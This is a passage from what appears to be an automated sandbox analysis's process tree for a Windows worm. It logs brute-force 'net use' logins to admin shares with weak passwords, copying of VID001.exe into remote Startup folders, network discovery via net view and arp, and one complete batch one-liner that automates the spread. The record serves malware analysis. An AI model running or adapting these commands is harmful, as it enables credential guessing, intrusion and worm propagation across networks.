net use \\10.10.0.78\C$ "1" /user:"administrator"
5⤵
PID:3680

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"administrator"
5⤵
PID:4940

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4748

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "123" /user:"administrator"
5⤵
PID:564

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "123" /user:"administrator"
5⤵
PID:4992

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3456

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "0" /user:"user"
5⤵
PID:1868

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "0" /user:"user"
5⤵
PID:156

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3252

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ """" /user:"user"
5⤵
PID:4248

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users """" /user:"user"
5⤵
PID:4316

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4752

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "user" /user:"user"
5⤵
PID:1060

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "user" /user:"user"
5⤵
PID:216

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:864

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "1" /user:"user"
5⤵
PID:2096

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"user"
5⤵
PID:2072

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4336

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "123" /user:"user"
5⤵
PID:1648

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "123" /user:"user"
5⤵
PID:2040

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:2968

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "0" /user:"admin"
5⤵
PID:1836

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "0" /user:"admin"
5⤵
PID:3804

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3808

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ """" /user:"admin"
5⤵
PID:3316

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users """" /user:"admin"
5⤵
PID:4608

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:2684

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "admin" /user:"admin"
5⤵
PID:2292

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "admin" /user:"admin"
5⤵
PID:4792

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5060

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "1" /user:"admin"
5⤵
PID:4428

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"admin"
5⤵
PID:4384

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:4392

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "123" /user:"admin"
5⤵
PID:196

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "123" /user:"admin"
5⤵
PID:1972

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1376

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "0" /user:"àäìèíèñòðàòîð"
5⤵
PID:3168

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "0" /user:"àäìèíèñòðàòîð"
5⤵
PID:4288

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4632

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ """" /user:"àäìèíèñòðàòîð"
5⤵
PID:4520

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users """" /user:"àäìèíèñòðàòîð"
5⤵
PID:2100

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3148

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "àäìèíèñòðàòîð" /user:"àäìèíèñòðàòîð"
5⤵
PID:4896

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "àäìèíèñòðàòîð" /user:"àäìèíèñòðàòîð"
5⤵
PID:1300

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1932

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "1" /user:"àäìèíèñòðàòîð"
5⤵
PID:3324

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"àäìèíèñòðàòîð"
5⤵
PID:4100

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "123" /user:"àäìèíèñòðàòîð"
5⤵
PID:1804

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "123" /user:"àäìèíèñòðàòîð"
5⤵
PID:2944

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view \\10.10.0.76|find /i " "
5⤵
PID:4492

C:\Windows\SysWOW64\find.exe
find /i " "
6⤵
PID:2008

C:\Windows\SysWOW64\net.exe
net view \\10.10.0.76
6⤵
- Discovers systems in the same network
PID:5064

C:\Windows\SysWOW64\net.exe
net use * /delete /y
5⤵
PID:3208

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:2564

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1500

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4540

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4616

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:2368

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4884

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:4048

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:1180

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
- Runs ping.exe
PID:4808

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:360

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:3364

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2920

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\Users\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:592

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4300

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1544

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users /delete /y
5⤵
PID:4856

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:788

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:2256

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ """" /user:"1"
5⤵
PID:4644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5012

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:652

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:856

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4240

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:904

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:2452

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
- Runs ping.exe
PID:1324

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users """" /user:"1"
5⤵
PID:3696

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3936

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"1"
5⤵
PID:4760

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"1"
5⤵
PID:2808

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4396

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"1"
5⤵
PID:4668

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"1"
5⤵
PID:4556

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:4264

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "123" /user:"1"
5⤵
PID:3008

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "123" /user:"1"
5⤵
PID:1988

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:2640

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "0" /user:"10.10.0.76"
5⤵
PID:4104

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "0" /user:"10.10.0.76"
5⤵
PID:1768

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:340

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ """" /user:"10.10.0.76"
5⤵
PID:3204

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:344

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5004

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4876

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\10.10.0.76\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:3992

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:3780

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\10.10.0.76\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:4648

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:4820

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
- Runs ping.exe
PID:5076

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users """" /user:"10.10.0.76"
5⤵
PID:4500

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1536

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "10.10.0.76" /user:"10.10.0.76"
5⤵
PID:1680

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "10.10.0.76" /user:"10.10.0.76"
5⤵
PID:1608

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5000

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"10.10.0.76"
5⤵
PID:1892

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"10.10.0.76"
5⤵
PID:3408

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:2220

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "123" /user:"10.10.0.76"
5⤵
PID:3428

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "123" /user:"10.10.0.76"
5⤵
PID:3172

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3960

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "0" /user:"administrator"
5⤵
PID:3432

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "0" /user:"administrator"
5⤵
PID:4764

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:992

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ """" /user:"administrator"
5⤵
PID:2516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:976

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:3404

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:1772

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\administrator\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:4584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5056

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:3444

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:1100

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:3632

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users """" /user:"administrator"
5⤵
PID:5116

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3460

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "administrator" /user:"administrator"
5⤵
PID:2468

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "administrator" /user:"administrator"
5⤵
PID:3440

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:4116

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"administrator"
5⤵
PID:284

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"administrator"
5⤵
PID:4800

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5132

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "123" /user:"administrator"
5⤵
PID:5172

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "123" /user:"administrator"
5⤵
PID:5204

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5244

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "0" /user:"user"
5⤵
PID:5340

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "0" /user:"user"
5⤵
PID:5372

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5412

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ """" /user:"user"
5⤵
PID:5492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5508

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5516

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5536

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\user\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5544

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5564

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5572

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:5596

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
- Runs ping.exe
PID:5612

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users """" /user:"user"
5⤵
PID:6072

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:6088

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "user" /user:"user"
5⤵
PID:6112

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "user" /user:"user"
5⤵
PID:6128

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4296

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"user"
5⤵
PID:5124

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"user"
5⤵
PID:5148

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5160

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "123" /user:"user"
5⤵
PID:5264

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "123" /user:"user"
5⤵
PID:5252

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5240

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "0" /user:"admin"
5⤵
PID:5352

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "0" /user:"admin"
5⤵
PID:5360

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5380

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ """" /user:"admin"
5⤵
PID:5448

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5416

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5432

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5504

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\admin\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5500

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5528

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5552

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:5576

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:5608

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users """" /user:"admin"
5⤵
PID:6028

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:6016

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "admin" /user:"admin"
5⤵
PID:5628

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "admin" /user:"admin"
5⤵
PID:5768

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:6080

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"admin"
5⤵
PID:5184

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"admin"
5⤵
PID:5304

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5224

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "123" /user:"admin"
5⤵
PID:5368

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "123" /user:"admin"
5⤵
PID:5364

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5408

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "0" /user:"àäìèíèñòðàòîð"
5⤵
PID:5428

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "0" /user:"àäìèíèñòðàòîð"
5⤵
PID:5456

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5532

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ """" /user:"àäìèíèñòðàòîð"
5⤵
PID:5568

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5588

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5640

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5276

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\Documents and Settings\àäìèíèñòðàòîð\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5688

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5700

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.76\C$\àäìèíèñòðàòîð\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5720

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ /delete /y
5⤵
PID:5796

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:5808

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users """" /user:"àäìèíèñòðàòîð"
5⤵
PID:5316

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5164

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "àäìèíèñòðàòîð" /user:"àäìèíèñòðàòîð"
5⤵
PID:5344

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "àäìèíèñòðàòîð" /user:"àäìèíèñòðàòîð"
5⤵
PID:5404

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5440

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "1" /user:"àäìèíèñòðàòîð"
5⤵
PID:5496

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "1" /user:"àäìèíèñòðàòîð"
5⤵
PID:5548

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5556

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\C$ "123" /user:"àäìèíèñòðàòîð"
5⤵
PID:6068

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.76\Users "123" /user:"àäìèíèñòðàòîð"
5⤵
PID:5712

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view \\10.10.0.84|find /i " "
5⤵
PID:5696

C:\Windows\SysWOW64\net.exe
net view \\10.10.0.84
6⤵
- Discovers systems in the same network
PID:5732

C:\Windows\SysWOW64\find.exe
find /i " "
6⤵
PID:5792

C:\Windows\SysWOW64\net.exe
net use * /delete /y
5⤵
PID:5336

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c taskkill /f /im net.exe & tskill net.exe
4⤵
PID:4892

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im net.exe
5⤵
- Kills process with taskkill
PID:4972

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /v:on /c (for /f "usebackq tokens=1,*" %i in (`net view^|find /i "\\" ^|^| arp -a^|find /i " 1"`) do set str_!random!=%i)& for /f "usebackq tokens=1* delims==" %j in (`set str_`) do set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=VID001.exe& if not "!s!"=="%COMPUTERNAME%" (for /f "usebackq tokens=1,*" %j in (`net view \\!s!^|find /i " "`) do echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\!s!\%j\VID001.exe") & net use * /delete /y & (for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 "" %u 1 123) do ping -n 3 localhost & (for %c in (\\!s!\C$ \\!s!\Users) do (if not "%p%u"=="01" net use %c "%p" /user:"%u") && ((for %d in ("%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!") do echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" %d) & net use %c /delete /y & ping -n 20 localhost)))
4⤵
PID:1708

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view|find /i "\\" || arp -a|find /i " 1"
5⤵
PID:3280

C:\Windows\SysWOW64\find.exe
find /i "\\"
6⤵
PID:2832

C:\Windows\SysWOW64\net.exe
net view
6⤵
- Discovers systems in the same network
PID:2696

C:\Windows\SysWOW64\find.exe
find /i " 1"
6⤵
PID:4352

C:\Windows\SysWOW64\ARP.EXE
arp -a
6⤵
PID:2860

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c set str_
5⤵
PID:1292

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view \\10.10.0.64|find /i " "
5⤵
PID:2560

C:\Windows\SysWOW64\find.exe
find /i " "
6⤵
PID:2532

C:\Windows\SysWOW64\net.exe
net view \\10.10.0.64
6⤵
- Discovers systems in the same network
PID:3420

C:\Windows\SysWOW64\net.exe
net use * /delete /y
5⤵
PID:1548

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4568

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4780

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.64\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1864

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:1540

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.64\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:4788

C:\Windows\SysWOW64\cmd.exe
